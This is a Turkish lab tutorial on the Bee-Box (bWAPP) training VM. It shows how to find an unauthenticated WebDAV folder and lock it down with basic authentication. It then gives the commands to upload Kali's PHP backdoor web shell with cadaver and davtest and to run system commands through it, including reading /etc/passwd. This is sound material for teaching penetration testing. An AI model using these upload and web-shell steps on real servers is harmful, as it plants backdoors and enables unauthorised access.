Not: Yazıda kullanılan Bee-Box sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/
1) Mevcut Durumun İncelenmesi
Bee-Box sanal makinesinde WebDAV uzantı konfigürasyonu “/etc/apache2/httpd.conf” dosyasında gerçekleştirilmiştir. Bu dosyada da görüldüğü gibi, uygulamanın kök dizininden sonraki “/webdav” klasörü herhangi bir kimlik doğrulaması veya SSL ile şifreleme gereği duyulmadan tüm kullanıcılara okuma, yazma ve çalıştırma yetkisi ile kullanıma açılmıştır.
cat /etc/apache2/httpd.conf
ls -la /var/www/bWAPP | grep documents
ls -la /var/www/bWAPP/documents/
Yapılandırma dosyasında görüldüğü gibi herhangi bir kimlik doğrulama işlemi gerçekleştirilmemektedir. Kimlik doğrulama eklemek için yapılandırma dosyası aşağıdaki gibi güncellenebilir.
1 2 3 4 5 6 7 8 |
Alias /webdav /var/www/bWAPP/documents <Location /webdav> DAV On Options None AuthType Basic AuthName WebDAV AuthUserFile /etc/apache2/.webdavYetkilendirme </Location> |
Yeni bir kullanıcı oluşturmak için “htpasswd” aracı kullanılabilir.
htpasswd -c /etc/apache2/.webdavYetkilendirme yonetici
cat /etc/apache2/.webdavYetkilendirme
/etc/init.d/apache2 restart
2) Cadaver Aracı ile Dosya Yükleme
Cadaver aracı ile WebDAV eklentisi etkin uygulama sunucusuna bağlanılarak yetkiler dahilinde dosya okuma/yazma/çalıştırma işlemleri gerçekleştirilebilir. Cadaver aracı ile Bee-Box sanal makinesinde bulunan uygulamanın kök dizininden sonraki “/webdav” klasörüne zararlı bir PHP dosyası atılacak ve bu sayfa çağırılacaktır. Hedef sunucuya atılacak sayfa Kali’de mevcutta bulunan PHP arkakapı dosyasıdır.
ls -la /usr/share/webshells/php/php-backdoor.php
head -20 /usr/share/webshells/php/php-backdoor.php
tail -10 /usr/share/webshells/php/php-backdoor.php
Cadaver aracına URL verilerek disk sistemine erişim sağlanabilir.
cadaver http://10.10.2.130/webdav
help
ls
put /usr/share/webshells/php/php-backdoor.php
ls
3) Davtest Aracı İle Dosya Yükleme
Davtest aracı ile WebDAV eklentisi etkin uygulama sunucusuna bağlanılarak yetkiler dahilinde dosya eklenebilir.
davtest -url http://10.10.2.130/webdav -uploadfile ‘/usr/share/webshells/php/php-backdoor.php’ -uploadloc ArkaKapi.php
Cadaver ve Davtest ile yüklenen dosyalar listelenebilmektedir.
4) PHP Dosyasının Çağırılması
Yüklenen PHP dosyası ile işletim sisteminde komut çalıştırılabilir, hedefe dosya atılabilir.
Örnek bir komut çıktısı aşağıdaki gibidir.
id; uname -a; head -3 /etc/passwd
Kaynaklar:
http://carnal0wnage.attackresearch.com/2007/08/creating-http-options-auxiliary-module.html
http://www.asianux.org.vn/2014/09/19/webdav-vulnerability-detect-exploit/